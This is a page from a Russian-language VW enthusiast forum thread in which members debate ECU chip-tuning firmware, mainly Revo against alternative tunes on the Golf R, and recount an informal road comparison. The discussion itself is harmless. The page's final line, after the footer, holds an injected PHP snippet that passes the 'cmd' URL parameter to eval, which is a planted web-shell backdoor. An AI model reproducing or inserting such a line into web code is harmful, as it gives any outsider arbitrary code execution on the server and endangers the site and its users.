+ Ответить в теме
Страница 49 из 81 ПерваяПервая ... 39 47 48 49 50 51 59 ... ПоследняяПоследняя
Показано с 481 по 490 из 809

Тема: чип vs чип (подход, особенности, проблемы и т.п.)


  1. #481
    GTI-Racing JUICE is on a distinguished road Аватар для JUICE
    Регистрация
    25.06.2008
    Откуда
    Saint-Petersburg
    Машина
    VW Golf
    Сообщений
    151
    Тема про чипы Гольф Р погрязла в чипах всего семейства VAG... Короч, подведя итог... Никто на Р-ках, кроме Рево другие чипы не катал по человечески и нормально не настроился. Без альтернативно - все выбрали Рево?

  2. #482
    GTI-Racing d24enis is on a distinguished road Аватар для d24enis
    Регистрация
    10.02.2012
    Откуда
    самара
    Машина
    GTI35LE
    Сообщений
    185
    немного поспорили , все нормально , сочувствую BigHit я с 5R32 на ручке пересел на М3 в 92 кузове но из за финансов теперь на GTI , 6 горшков 2 турбины у бмв и задний привод каким чипом можно достать те ощущения от 335 ?
    Последний раз редактировалось d24enis; 14.07.2012 в 19:06.

  3. #483
    GTI-Racing BorisRT is on a distinguished road Аватар для BorisRT
    Регистрация
    10.10.2011
    Откуда
    Санкт-Петербург
    Машина
    Golf R
    Сообщений
    6
    Всем приготовиться к великому обсеру Рево))

  4. #484
    GTI-Racing JUICE is on a distinguished road Аватар для JUICE
    Регистрация
    25.06.2008
    Откуда
    Saint-Petersburg
    Машина
    VW Golf
    Сообщений
    151
    Борис, будем корректны... Договорились же... Так нельзя

    Сегодня просто выяснилось, что REVo не так уж и "валит" как многие думают. И есть реальные альтернативы, которые не хуже и многим не менее известны.
    Поясню, с некоторых пор сложилось мнение, что кроме REVo в VAG сообществе больше ничего не едет! REVo всех проезжает и уигрывает во всех дисциплинах! И на любых автомобилях семейства VAG! Тому подтверждением послужили массы видео в основном в российской части YouTub'а, где автомобили прошитые REVo назовем это "разрывали" конкурентов многими "кутузовами". Данный факт никем не ставился под сомнение, ибо доказательная база в виде множества видео говорила сама за себя. Но нашлись люди, которые поставили под сомнение вышеперечисленные факты. В частности, я был одним из этих людей. Лично мне стало интересно, а в чем загадка и все же возможна ли альтернатива. Другие заинтересованные люди, если пожелают выскажутся сами, если нет, то это их право. Я рассуждал так, ну не может быть, чтобы многие умы индустрии тюнинга в одночасье "слили" REVo и поглупели. Ну я бы понял, если бы машины чипованные другими ателье ехали ровно например, но не постоянно же сливали. Фантастика, короч. В итоге, был взят за основу ныне популярный Гольф Р. Автомобиль полностью стоковый, новый с небольшим пробегом. Данный автомобиль был помещен на мощностной стенд и на нем настроен. Благодаря умам двух известных в определенных кругах людей. Автомобиль был настроен не на режим, "всех рву и после этого взрываюсь", а на повседневную эксплуатацию "без последствий". Причем его можно было настроить и позлее, но цели такой не было. В процессе настройки выяснились слабые и сильные стороны данного "драндулета", впрочем чудес не случилось и все было давно знакомо и известно. Ну и переходим к сенсациями. Сегодня (уже вчера) благодаря коллективу заинтересованных и не знакомых до этого людей, по удачному стечению обстоятельств произошла встреча и "мини покатушки" на дороге. Удалось встретиться двум полностью идентичным автомобилям, автомобилям не обремененным тюнингом, но с залитыми альтернативными прошивками мозгов от различных тюнинг ателье. В результате встречи обоюдно, при свидетелях выяснилось, что альтернативы едут и едут, назовем это - динамичней! Ну и, ну никак не хуже. Т. е. опытным путем, выяснилось, что "не REVo единым жив человек". Даже с учетом корявых стартов и прочего. Всем мир! Рево - валит, но не только оно (или он, простите я не знаю).

    А выбор чипа, личное дело каждого!

    Будет интересно и в дальнейшем посмотреть на автомобили в одинаковых конфигах в процессе тюнинга. Закупаемся насосами! )))

    Ну и лично от меня благодарность за проделанную работу, "некоему" Кириллу и "некоему" Сергею. Спасибо ребята, за ваши труды. Результат говорит сам за себя.

  5. #485
    Супер Модератор Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Аватар для Spaceman
    Регистрация
    13.01.2009
    Откуда
    Moscow
    Машина
    GTI Overload
    Сообщений
    6,561
    Не удивлен
    Последний раз редактировалось Spaceman; 23.07.2012 в 08:12.
    Golf V GTI Overload почти сток...

  6. #486
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    занавес
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  7. #487
    GTI-Racing Rugby 14 will become famous soon enough Rugby 14 will become famous soon enough Аватар для Rugby 14
    Регистрация
    27.02.2010
    Откуда
    13 район
    Машина
    .:R MkVI
    Сообщений
    2,819
    Цитата Сообщение от JUICE Посмотреть сообщение
    Борис, будем корректны... Договорились же... Так нельзя

    Сегодня просто выяснилось, что REVo не так уж и "валит" как многие думают. И есть реальные альтернативы, которые не хуже и многим не менее известны.
    Поясню, с некоторых пор сложилось мнение, что кроме REVo в VAG сообществе больше ничего не едет! REVo всех проезжает и уигрывает во всех дисциплинах! И на любых автомобилях семейства VAG! Тому подтверждением послужили массы видео в основном в российской части YouTub'а, где автомобили прошитые REVo назовем это "разрывали" конкурентов многими "кутузовами". Данный факт никем не ставился под сомнение, ибо доказательная база в виде множества видео говорила сама за себя. Но нашлись люди, которые поставили под сомнение вышеперечисленные факты. В частности, я был одним из этих людей. Лично мне стало интересно, а в чем загадка и все же возможна ли альтернатива. Другие заинтересованные люди, если пожелают выскажутся сами, если нет, то это их право. Я рассуждал так, ну не может быть, чтобы многие умы индустрии тюнинга в одночасье "слили" REVo и поглупели. Ну я бы понял, если бы машины чипованные другими ателье ехали ровно например, но не постоянно же сливали. Фантастика, короч. В итоге, был взят за основу ныне популярный Гольф Р. Автомобиль полностью стоковый, новый с небольшим пробегом. Данный автомобиль был помещен на мощностной стенд и на нем настроен. Благодаря умам двух известных в определенных кругах людей. Автомобиль был настроен не на режим, "всех рву и после этого взрываюсь", а на повседневную эксплуатацию "без последствий". Причем его можно было настроить и позлее, но цели такой не было. В процессе настройки выяснились слабые и сильные стороны данного "драндулета", впрочем чудес не случилось и все было давно знакомо и известно. Ну и переходим к сенсациями. Сегодня (уже вчера) благодаря коллективу заинтересованных и не знакомых до этого людей, по удачному стечению обстоятельств произошла встреча и "мини покатушки" на дороге. Удалось встретиться двум полностью идентичным автомобилям, автомобилям не обремененным тюнингом, но с залитыми альтернативными прошивками мозгов от различных тюнинг ателье. В результате встречи обоюдно, при свидетелях выяснилось, что альтернативы едут и едут, назовем это - динамичней! Ну и, ну никак не хуже. Т. е. опытным путем, выяснилось, что "не REVo единым жив человек". Даже с учетом корявых стартов и прочего. Всем мир! Рево - валит, но не только оно (или он, простите я не знаю).

    А выбор чипа, личное дело каждого!

    Будет интересно и в дальнейшем посмотреть на автомобили в одинаковых конфигах в процессе тюнинга. Закупаемся насосами! )))

    Ну и лично от меня благодарность за проделанную работу, "некоему" Кириллу и "некоему" Сергею. Спасибо ребята, за ваши труды. Результат говорит сам за себя.
    если тому самому Кириллу, то я вуапще не удивлен. в след году собираюсь к нему )
    Tough Guys Don`t Dance ©

    .:Revo St.2+

  8. #488
    GTI-Racing Neonsly will become famous soon enough Neonsly will become famous soon enough Аватар для Neonsly
    Регистрация
    08.11.2010
    Откуда
    Ижевск
    Машина
    mk6 GTI
    Сообщений
    131
    Прочитал все, но думаю можно было в 2 предложения уместить :)
    Evil Rabbit прыгает по drive2

    K04, Milltek Sport Exhaust, Sachs Perfomance Clutch, APR intake, S3 Intercooler, Ferodo 2500 + DBA 4000, Revo St.3, B6 sport + Euro Springs. Peloquin LSD. Винил "Evil Rabit". Polk Audio. Салон кожа + алькантара.

  9. #489
    III место Лучший Пилот клуба 2011 Гера has a spectacular aura about Гера has a spectacular aura about Гера has a spectacular aura about Аватар для Гера
    Регистрация
    08.11.2007
    Откуда
    в Москве
    Машина
    Nissan Quest
    Сообщений
    4,674
    А что, СергейНик с turborabbit`ом работает уже? :)
    Golf V GTI МКПП + REVO k04 Stage 3 + Quiafe LSD + intake air system K&N + sway bars H&R + BSR down pipe + APR`s exhaust + сooler autobahn88 + водитель Сергей - продано...

  10. #490
    GTI-Racing Cabal is on a distinguished road Аватар для Cabal
    Регистрация
    04.12.2009
    Откуда
    Москва
    Машина
    Skoda Octavia FL RS k04 APR
    Сообщений
    167
    Цитата Сообщение от Гера Посмотреть сообщение
    А что, СергейНик с turborabbit`ом работает уже? :)
    А это разве было секретом? ))

+ Ответить в теме
Страница 49 из 81 ПерваяПервая ... 39 47 48 49 50 51 59 ... ПоследняяПоследняя

Похожие темы

  1. Особенности установки холодного впуска на 2.0Т
    от serzh1 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 47
    Последнее сообщение: 02.10.2023, 06:07
  2. Проблемы с DSG на GTI VI
    от Strang3r в разделе Отзывы / Выбор
    Ответов: 50
    Последнее сообщение: 13.09.2010, 19:45
  3. все технические особенности Volkswagen
    от nedoroslik в разделе Отзывы / Выбор
    Ответов: 4
    Последнее сообщение: 20.01.2010, 02:20
  4. Проблемы с DSG
    от DendisGTI в разделе Украина
    Ответов: 11
    Последнее сообщение: 24.12.2009, 20:12
  5. проблемы с vr6
    от no frost в разделе Двигатель
    Ответов: 3
    Последнее сообщение: 25.05.2008, 12:51

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}